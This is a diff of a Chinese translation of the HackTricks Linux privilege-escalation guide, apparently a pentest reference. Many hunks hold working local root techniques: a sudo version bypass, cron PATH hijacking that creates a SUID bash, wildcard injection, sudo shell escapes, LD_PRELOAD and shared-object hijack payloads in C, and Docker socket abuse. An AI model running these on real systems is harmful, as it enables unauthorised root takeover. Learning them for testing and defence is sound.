- [ ] [**可用的 SUDO 令牌**](privilege-escalation/#reusing-sudo-tokens)[**你能创建 SUDO 令牌吗**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)
- [ ] 你能 [**读取或修改 sudoers 文件**](privilege-escalation/#etc-sudoers-etc-sudoers-d)吗?
- [ ] 你能 [**修改 /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)吗?
- [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) 命令
- [ ] 你能执行 **任何带sudo的命令** 吗? 你能用它 **读取、写入或执行** 任何东西作为root吗 ([**GTFOBins**](https://gtfobins.github.io))
- [ ] 是否有任何 **可利用的SUID二进制文件** ([**GTFOBins**](https://gtfobins.github.io))
- [ ] [**sudo** 命令是否 **受限** 于 **路径** 你能 **绕过** 限制吗](privilege-escalation/index.html#sudo-execution-bypassing-paths)
- [ ] [**没有指定路径的Sudo/SUID二进制文件**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)
- [ ] [**指定路径的SUID二进制文件**](privilege-escalation/index.html#suid-binary-with-command-path) 绕过
- [ ] [**LD_PRELOAD漏洞**](privilege-escalation/index.html#ld_preload)
- [ ] [**SUID二进制文件中缺少 .so 库**](privilege-escalation/index.html#suid-binary-so-injection) 来自可写文件夹?
- [ ] [**可用的SUDO令牌**](privilege-escalation/index.html#reusing-sudo-tokens) [**你能创建一个SUDO令牌吗**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)
- [ ] 你能 [**读取或修改sudoers文件**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d) 吗?
- [ ] 你能 [**修改 /etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d) 吗?
- [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas) 命令
### [能力](privilege-escalation/#capabilities)
### [能力](privilege-escalation/index.html#capabilities)
- [ ] 是否有任何二进制文件具有 **意外的能力**
### [ACLs](privilege-escalation/#acls)
### [ACLs](privilege-escalation/index.html#acls)
- [ ] 是否有任何文件具有 **意外的 ACL**
- [ ] 是否有任何文件具有 **意外的ACL**
### [ Shell 会话](privilege-escalation/#open-shell-sessions)
### [开的Shell会话](privilege-escalation/index.html#open-shell-sessions)
- [ ] **screen**
- [ ] **tmux**
### [SSH](privilege-escalation/#ssh)
### [SSH](privilege-escalation/index.html#ssh)
- [ ] **Debian** [**OpenSSL 可预测 PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
- [ ] [**SSH 有趣的配置值**](privilege-escalation/#ssh-interesting-configuration-values)
- [ ] **Debian** [**OpenSSL可预测PRNG - CVE-2008-0166**](privilege-escalation/index.html#debian-openssl-predictable-prng-cve-2008-0166)
- [ ] [**SSH有趣的配置值**](privilege-escalation/index.html#ssh-interesting-configuration-values)
### [有趣的文件](privilege-escalation/#interesting-files)
### [有趣的文件](privilege-escalation/index.html#interesting-files)
- [ ] **配置文件** - 读取敏感数据?写入权限提升?
- [ ] **passwd/shadow 文件** - 读取敏感数据?写入权限提升?
- [ ] **检查常见的有趣文件夹**以查找敏感数据
- [ ] **奇怪的位置/拥有的文件,**你可能有权限访问或更改可执行文件
- [ ] **最近修改**的文件
- [ ] **Sqlite 数据库文件**
- [ ] **配置文件** - 读取敏感数据? 写入权限提升?
- [ ] **passwd/shadow文件** - 读取敏感数据? 写入权限提升?
- [ ] **检查常见的有趣文件夹** 是否有敏感数据
- [ ] **奇怪的位置/拥有的文件,** 你可能有权限访问或更改可执行文件
- [ ] **在最后几分钟内修改**
- [ ] **Sqlite数据库文件**
- [ ] **隐藏文件**
- [ ] **PATH 中的脚本/二进制文件**
- [ ] **Web 文件**(密码?)
- [ ] **PATH中的脚本/二进制文件**
- [ ] **Web文件** (密码?)
- [ ] **备份**
- [ ] **已知包含密码的文件**使用 **Linpeas** 和 **LaZagne**
- [ ] **已知包含密码的文件**: 使用 **Linpeas** 和 **LaZagne**
- [ ] **通用搜索**
### [**可写文件**](privilege-escalation/#writable-files)
### [**可写文件**](privilege-escalation/index.html#writable-files)
- [ ] **修改 Python 库**以执行任意命令?
- [ ] 你能 **修改日志文件**吗?**Logtotten** 漏洞
- [ ] 你能 **修改 /etc/sysconfig/network-scripts/**Centos/Redhat 漏洞
- [ ] 你能 [**写入 ini、int.d、systemd 或 rc.d 文件**](privilege-escalation/#init-init-d-systemd-and-rc-d)吗?
- [ ] **修改python库** 以执行任意命令?
- [ ] 你能 **修改日志文件** 吗? **Logtotten** 漏洞
- [ ] 你能 **修改 /etc/sysconfig/network-scripts/** 吗? Centos/Redhat 漏洞
- [ ] 你能 [**写入 ini、int.d、systemd 或 rc.d 文件**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d) 吗?
### [**其他技巧**](privilege-escalation/#other-tricks)
### [**其他技巧**](privilege-escalation/index.html#other-tricks)
- [ ] 你能 [**利用 NFS 提升权限**](privilege-escalation/#nfs-privilege-escalation)吗?
- [ ] 你需要 [**逃离限制性 shell**](privilege-escalation/#escaping-from-restricted-shells)吗?
- [ ] 你能 [**利用NFS提升权限**](privilege-escalation/index.html#nfs-privilege-escalation) 吗?
- [ ] 你需要 [**逃离限制性shell**](privilege-escalation/index.html#escaping-from-restricted-shells) 吗?
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Linux 权限提升
# Linux Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
@ -26,7 +26,7 @@ echo $PATH
```
### Kernel exploits
检查内核版本,看看是否有可以用来提升权限的漏洞
检查内核版本,看看是否有可以用来提升权限的漏洞
```bash
cat /proc/version
uname -a
@ -45,11 +45,11 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)在受害者上执行仅检查2.x内核的漏洞
始终**在Google中搜索内核版本**,也许你的内核版本在某个内核漏洞中被写入,这样你就可以确认这个漏洞是有效的。
始终**在Google中搜索内核版本**,也许您的内核版本在某个内核漏洞中被写入,这样您就可以确定该漏洞是有效的。
### CVE-2016-5195 (DirtyCow)
Linux权提升 - Linux内核 <= 3.19.0-73.8
Linux权提升 - Linux内核 <= 3.19.0-73.8
```bash
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### Sudo 版本
基于出现的易受攻击的 sudo 版本:
基于出现的易受攻击的 sudo 版本:
```bash
searchsploit sudo
```
@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
```
### Dmesg 签名验证失败
检查 **smasher2 box of HTB** 以获取此漏洞可能被利用的 **示例**
检查 **smasher2 box of HTB** 以获取此漏洞如何被利用的 **示例**
```bash
dmesg 2>/dev/null | grep "signature"
```
@ -86,7 +86,7 @@ date 2>/dev/null #Date
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
```
## 枚举可能的防御
## 列举可能的防御措施
### AppArmor
```bash
@ -131,7 +131,7 @@ docker-security/
## Drives
检查**哪些是挂载和未挂载的**,在哪里以及为什么。如果有任何未挂载的,你可以尝试挂载它并检查私人信息。
检查**已挂载和未挂载的内容**,以及它们的位置和原因。如果有任何未挂载的内容,你可以尝试挂载它并检查私人信息。
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@ -144,13 +144,13 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
还要检查是否**安装了任何编译器**。如果您需要使用某内核漏洞,这很有用,因为建议在您将要使用它的机器上(或类似的机器上)进行编译。
还要检查是否**安装了任何编译器**。如果您需要使用某内核漏洞,这很有用,因为建议在您将要使用它的机器上(或类似的机器上)进行编译。
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
### 安装的易受攻击软件
检查**已安装软件包和服务的版本**。可能存在某个旧版的Nagios例如可以被利用来提升权限…\
检查**已安装软件包和服务的版本**。可能存在某些旧版本的Nagios例如可以利用这些版本来提升权限…\
建议手动检查更可疑的已安装软件的版本。
```bash
dpkg -l #Debian
@ -158,9 +158,9 @@ rpm -qa #Centos
```
如果您可以访问机器的SSH您还可以使用 **openVAS** 检查机器上安装的过时和易受攻击的软件。
> [!NOTE] > _请注意这些命令将显示大量信息这些信息大多是无用的因此建议使用一些应用程序如OpenVAS或类似工具检查任何已安装的软件版本是否易受已知漏洞的攻击_
> [!NOTE] > _请注意这些命令将显示大量信息其中大部分将是无用的因此建议使用一些应用程序如OpenVAS或类似工具检查任何已安装的软件版本是否易受已知漏洞的攻击_
## 进程
## Processes
查看 **正在执行的进程**,并检查是否有任何进程具有 **超出其应有的权限**例如是否有由root执行的tomcat
```bash
@ -168,8 +168,8 @@ ps aux
ps -ef
top -n 1
```
始终检查可能正在运行的 [**electron/cef/chromium 调试器**,您可以利用它来提升权限](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\
还要**检查您对进程二进制文件的权限**,也许您可以覆盖某个用户
始终检查可能正在运行的 [**electron/cef/chromium debuggers**,您可以利用它来提升权限](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\
还要**检查您对进程二进制文件的权限**,也许您可以覆盖某些内容
### 进程监控
@ -186,7 +186,7 @@ top -n 1
>
> 文件 _**/proc/sys/kernel/yama/ptrace_scope**_ 控制 ptrace 的可访问性:
>
> - **kernel.yama.ptrace_scope = 0**:所有进程都可以被调试,只要它们具有相同的 uid。这是 ptracing 工作的经典方式。
> - **kernel.yama.ptrace_scope = 0**:所有进程都可以被调试,只要它们具有相同的 uid。这是 ptracing 的经典工作方式。
> - **kernel.yama.ptrace_scope = 1**:只有父进程可以被调试。
> - **kernel.yama.ptrace_scope = 2**:只有管理员可以使用 ptrace因为它需要 CAP_SYS_PTRACE 能力。
> - **kernel.yama.ptrace_scope = 3**:不允许使用 ptrace 跟踪任何进程。一旦设置,需要重启才能再次启用 ptracing。
@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
对于给定的进程 ID**maps 显示该进程的**虚拟地址空间内内存的映射方式;它还显示**每个映射区域的权限**。**mem** 伪文件**暴露了进程的内存本身**。通过**maps** 文件,我们知道哪些**内存区域是可读的**及其偏移量。我们使用这些信息**在 mem 文件中查找并将所有可读区域转储到文件中**。
对于给定的进程 ID**maps 显示该进程的**虚拟地址空间内如何映射内存;它还显示**每个映射区域的权限**。**mem** 伪文件**暴露了进程的内存本身**。通过**maps** 文件,我们知道哪些**内存区域是可读的**及其偏移量。我们使用这些信息**在 mem 文件中查找并将所有可读区域转储到文件中**。
```bash
procdump()
(
@ -237,7 +237,7 @@ strings /dev/mem -n10 | grep -i PASS
```
### ProcDump for linux
ProcDump 是一个 Linux 版本的经典 ProcDump 工具,来自 Windows 的 Sysinternals 工具套件。获取地址在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
ProcDump 是 Sysinternals 工具套件中经典 ProcDump 工具在 Linux 上的重新构想。获取它在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@ -313,7 +313,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
```
## 定时/计划任务
## Scheduled/Cron jobs
检查是否有任何计划任务存在漏洞。也许你可以利用由 root 执行的脚本(通配符漏洞?可以修改 root 使用的文件?使用符号链接?在 root 使用的目录中创建特定文件?)。
```bash
@ -321,14 +321,14 @@ crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
```
### Cron 路径
### Cron path
例如,在 _/etc/crontab_ 中可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
(_注意用户 "user" 对 /home/user 具有写权限_)
(_注意用户 "user" 对 /home/user 具有写权限_)
如果在这个 crontab 中root 用户尝试执行某个命令或脚本而设置路径。例如: _\* \* \* \* root overwrite.sh_\
那么,你可以通过使用以下方式获得 root shell:
如果在这个 crontab 中root 用户尝试执行某个命令或脚本而没有设置路径。例如: _\* \* \* \* root overwrite.sh_\
然后,您可以通过使用以下方式获得 root shell:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
@ -340,7 +340,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**如果通配符前面有一个路径,比如** _**/some/path/\***_ **,那么它就不容易受到攻击(即使** _**./\***_ **也不行)。**
**如果通配符前面有一个路径,比如** _**/some/path/\***_ **,那么它就不容易受到攻击(即使** _**./\***_ **也不行)。**
阅读以下页面以获取更多通配符利用技巧:
@ -360,9 +360,9 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
### 常见的 cron 任务
### Frequent cron jobs
您可以监控进程以搜索每 1、2 或 5 分钟执行的进程。也许您可以利用这一点来提升权限。
您可以监控进程以搜索每 1、2 或 5 分钟执行的进程。也许您可以利用来提升权限。
例如,要**每 0.1 秒监控 1 分钟****按执行次数较少的命令排序**并删除执行次数最多的命令,您可以这样做:
```bash
@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### 隐形的 cron 作业
可以创建一个 cron 作业 **在注释后放置回车符**(没有换行符),并且 cron 作业将正常工作。示例(注意回车符):
可以创建一个 cron 作业 **在注释后放置回车符**(没有换行符),并且 cron 作业将正常工作。示例(注意回车符):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@ -401,11 +401,11 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
然后,在您可以写入的 systemd PATH 文件夹中创建一个 **可执行文件**,其 **名称与相对路径二进制文件相同**,当服务被要求执行脆弱操作(**启动****停止****重新加载**)时,您的 **后门将被执行**(普通用户通常无法启动/停止服务,但请检查您是否可以使用 `sudo -l`)。
**了解有关服务的更多信息,请参见 `man systemd.service`。**
**了解有关服务的更多信息,请使用 `man systemd.service`。**
## **定时器**
**定时器** 是以 `**.timer**` 结尾的 systemd 单元文件,用于控制 `**.service**` 文件或事件。 **定时器** 可以作为 cron 的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。
**定时器** 是以 `**.timer**` 结尾的 systemd 单元文件,控制 `**.service**` 文件或事件。 **定时器** 可以作为 cron 的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。
您可以使用以下命令列出所有定时器:
```bash
@ -417,9 +417,9 @@ systemctl list-timers --all
```bash
Unit=backdoor.service
```
在文档中,您可以阅读单位的定义:
在文档中,您可以阅读到 Unit 的定义:
> 当此计时器到期时要激活的单位。参数是单位名称,其后缀不是“.timer”。如果未指定则此值默认为与计时器单位同名的服务除了后缀外。见上文。建议激活的单位名称和计时器单位的单位名称在名称上保持一致除了后缀
> 当此计时器到期时要激活的单元。参数是单元名称,其后缀不是 ".timer"。如果未指定,则此值默认为与计时器单元同名的服务,除了后缀外。(见上文。)建议激活的单元名称和计时器单元的名称在后缀之外是相同的
因此,要滥用此权限,您需要:
@ -445,15 +445,15 @@ Unix 域套接字 (UDS) 使得 **进程通信** 在同一台或不同机器之
**通过 `man systemd.socket` 了解更多关于套接字的信息。** 在此文件中,可以配置几个有趣的参数:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示将要监听的地方**AF_UNIX 套接字文件的路径,监听的 IPv4/6 和/或端口号等)
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示它将监听的位置**AF_UNIX 套接字文件的路径,监听的 IPv4/6 和/或端口号等)
- `Accept`: 接受一个布尔参数。如果 **true**,则 **为每个传入连接生成一个服务实例**,并且仅将连接套接字传递给它。如果 **false**,则所有监听套接字本身都被 **传递给启动的服务单元**,并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO此值被忽略因为单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因,建议仅以适合 `Accept=no` 的方式编写新的守护进程。
- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行,这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名,后面跟着进程的参数。
- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行**附加 **命令**
- `Service`: 指定 **在传入流量** **激活** **服务** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。
- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行**额外 **命令**
- `Service`: 指定 **在传入流量上激活** 服务单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。
### 可写的 .socket 文件
如果您发现一个 **可写** `.socket` 文件,您可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,后门将在套接字创建之前执行。因此,您 **可能需要等到机器重启。**\
如果您发现一个 **可写** `.socket` 文件,您可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,后门将在套接字创建之前执行。因此,您 **可能需要等到机器重启。**\
&#xNAN;_&#x4E;注意系统必须使用该套接字文件配置否则后门将不会被执行_
### 可写套接字
@ -481,11 +481,11 @@ socket-command-injection.md
### HTTP 套接字
请注意,可能有一些 **监听 HTTP** 请求的 **套接字**_我不是在谈论 .socket 文件,而是充当 unix 套接字的文件_。您可以通过以下方式检查
请注意,可能有一些 **监听 HTTP** 请求的 **套接字**_我不是在谈论 .socket 文件,而是作为 unix 套接字的文件_。您可以通过以下方式检查
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
如果套接字 **响应一个 HTTP** 请求,那么你可以 **与通信**,并可能 **利用某些漏洞**
如果套接字 **响应一个 HTTP** 请求,那么你可以 **与通信**,并可能 **利用某些漏洞**
### 可写的 Docker 套接字
@ -522,7 +522,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
```
3. **附加到容器:** 使用 `socat` 建立与容器的连接,启用在其中执行命令。
3. **附加到容器:** 使用 `socat` 建立与容器的连接,从而在其中执行命令。
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@ -536,9 +536,9 @@ Upgrade: tcp
### 其他
请注意,如果您对 Docker 套接字具有写权限,因为您**`docker` 组内**,您有 [**更多的权限提升方法**](interesting-groups-linux-pe/#docker-group)。如果 [**docker API 在某个端口上监听**,您也可能能够妥协它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
请注意,如果您对 Docker 套接字具有写权限,因为您**在 `docker` 组内**,您有[**更多的权限提升方式**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在某个端口上监听**,您也可能能够妥协它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
查看 **更多从 Docker 中突破或滥用它以提升权限的方法**
查看**更多从 Docker 中突破或滥用它以提升权限的方法**
{{#ref}}
docker-security/
@ -546,7 +546,7 @@ docker-security/
## Containerd (ctr) 权限提升
如果您发现可以使用 **`ctr`** 命令,请阅读以下页面,因为 **您可能能够滥用它以提升权限**
如果您发现可以使用 **`ctr`** 命令,请阅读以下页面,因为**您可能能够滥用它以提升权限**
{{#ref}}
containerd-ctr-privilege-escalation.md
@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
## **RunC** 权限提升
如果您发现可以使用 **`runc`** 命令,请阅读以下页面,因为 **您可能能够滥用它以提升权限**
如果您发现可以使用 **`runc`** 命令,请阅读以下页面,因为**您可能能够滥用它以提升权限**
{{#ref}}
runc-privilege-escalation.md
@ -564,7 +564,7 @@ runc-privilege-escalation.md
D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**,使应用程序能够高效地交互和共享数据。它是为现代 Linux 系统设计的,提供了一个强大的框架,用于不同形式的应用程序通信。
该系统灵活多变,支持基本的 IPC增强了进程之间的数据交换类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音,从而增强用户体验。此外D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。
该系统灵活多变,支持基本的 IPC增强了进程之间的数据交换类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音,从而提升用户体验。此外D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。
D-Bus 基于 **允许/拒绝模型**,根据匹配的策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能通过利用这些权限来允许权限提升。
@ -612,9 +612,9 @@ cat /etc/networks
#Files used by network services
lsof -i
```
### 开放端口
### Open ports
在访问之前,始终检查在机器上运行的网络服务,这些服务是您之前无法与之交互的
始终检查在您无法与之交互的机器上运行的网络服务:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
@ -629,7 +629,7 @@ timeout 1 tcpdump
### 通用枚举
检查 **who** 你是,拥有的 **privileges**,系统中有哪些 **users**,哪些可以 **login**,哪些具有 **root privileges**
检查 **你是谁**,你拥有的 **权限**,系统中有哪些 **用户**,哪些可以 **登录**,哪些具有 **root 权限**
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
```
### Big UID
些Linux版本受到一个漏洞的影响该漏洞允许**UID > INT_MAX**的用户提升权限。更多信息:[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74)[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)和[here](https://twitter.com/paragonsec/status/1071152249529884674)。\
些Linux版本受到一个漏洞的影响该漏洞允许**UID > INT_MAX**的用户提升权限。更多信息:[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74)[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)和[here](https://twitter.com/paragonsec/status/1071152249529884674)。\
**利用它**使用:**`systemd-run -t /bin/bash`**
### Groups
@ -683,27 +683,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### 已知密码
如果**知道环境中的任何密码**,请尝试使用该密码**登录每个用户**。
如果**知道环境中的任何密码**,请尝试使用该密码**登录每个用户**。
### Su Brute
如果你不介意制造很多噪音,并且计算机上存在`su``timeout`二进制文件,你可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\
如果您不介意制造大量噪音,并且计算机上存在`su``timeout`二进制文件,您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)使用`-a`参数也会尝试暴力破解用户。
## 可写的 PATH 滥用
### $PATH
如果你发现可以**在 $PATH 的某个文件夹内写入**,你可能能够通过**在可写文件夹内创建一个后门**,其名称为将由其他用户(理想情况下是 root执行的某个命令并且该命令**不是从位于你可写文件夹之前的文件夹加载的**,来提升权限。
如果您发现可以**在 $PATH 的某个文件夹内写入**,您可能能够通过**在可写文件夹内创建一个后门**,其名称为将由其他用户(理想情况下是 root执行的某个命令并且该命令**不是从位于您可写文件夹之前的文件夹加载**的,从而提升权限。
### SUDO 和 SUID
你可能被允许使用sudo执行某些命令或者它们可能具有suid位。使用以下命令检查:
您可能被允许使用 sudo 执行某些命令,或者它们可能具有 suid 位。使用以下命令检查:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
一些 **意外的命令允许您读取和/或写入文件,甚至执行命令。** 例如:
一些**意外的命令允许您读取和/或写入文件,甚至执行命令。** 例如:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
@ -720,7 +720,7 @@ $ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh 密钥添加到根目录或调用 `sh` 来获取 shell 变得微不足道
在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh 密钥添加到根目录或调用 `sh` 来获取 shell 变得非常简单
```
sudo vim -c '!sh'
```
@ -780,7 +780,7 @@ export -f /usr/sbin/service
### LD_PRELOAD & **LD_LIBRARY_PATH**
**LD_PRELOAD**环境变量用于指定一个或多个共享库(.so文件这些库将在加载器加载所有其他库之前被加载包括标准C库`libc.so`)。这个过程被称为库的预加载。
**LD_PRELOAD**环境变量用于指定一个或多个共享库(.so文件这些库将在加载器加载所有其他库之前被加载包括标准C库`libc.so`)。这个过程被称为预加载
然而,为了维护系统安全并防止此功能被利用,特别是在**suid/sgid**可执行文件中,系统强制执行某些条件:
@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
> [!CAUTION]
> 如果攻击者控制了 **LD_LIBRARY_PATH** 环境变量,则可以滥用类似的权提升,因为他控制了将要搜索库的路径。
> 如果攻击者控制了 **LD_LIBRARY_PATH** 环境变量,则可以滥用类似的权提升,因为他控制了将要搜索库的路径。
```c
#include <stdio.h>
#include <stdlib.h>
@ -840,9 +840,9 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
例如,遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (没有这样的文件或目录)"_ 的错误提示,暗示了潜在的利用可能性。
例如,遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (没有这样的文件或目录)"_ 的错误提示,表明存在潜在的利用可能性。
为了利用这一点,可以创建一个 C 文件,_"/path/to/.config/libcalc.c"_,其中包含以下代码:
为了利用这一点,可以创建一个 C 文件,_"/path/to/.config/libcalc.c"_,其中包含以下代码:
```c
#include <stdio.h>
#include <stdlib.h>
@ -859,7 +859,7 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
后,运行受影响的 SUID 二进制文件应该会触发漏洞,从而允许潜在的系统破坏
终,运行受影响的 SUID 二进制文件应该会触发漏洞,从而可能导致系统被攻陷
## 共享对象劫持
```bash
@ -884,7 +884,7 @@ setresuid(0,0,0);
system("/bin/bash -p");
}
```
如果您遇到类似的错误
如果您遇到错误,例如
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
@ -892,7 +892,7 @@ system("/bin/bash -p");
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) 是一个经过策划的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 是相同的,但适用于您只能在命令中 **注入参数** 的情况。
[**GTFOBins**](https://gtfobins.github.io) 是一个经过整理的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 是相同的,但适用于您只能在命令中 **注入参数** 的情况。
该项目收集了可以被滥用以突破受限 shell、提升或维持特权、传输文件、生成绑定和反向 shell以及促进其他后期利用任务的 Unix 二进制文件的合法功能。
@ -911,7 +911,7 @@ https://gtfoargs.github.io/
### FallOfSudo
如果您可以访问 `sudo -l`,您可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查是否找到任何 sudo 规则的利用方法。
如果您可以访问 `sudo -l`,您可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查是否找到利用任何 sudo 规则的方法。
### 重用 Sudo 令牌
@ -920,15 +920,15 @@ https://gtfoargs.github.io/
提升特权的要求:
- 您已经以用户 "_sampleuser_" 拥有一个 shell
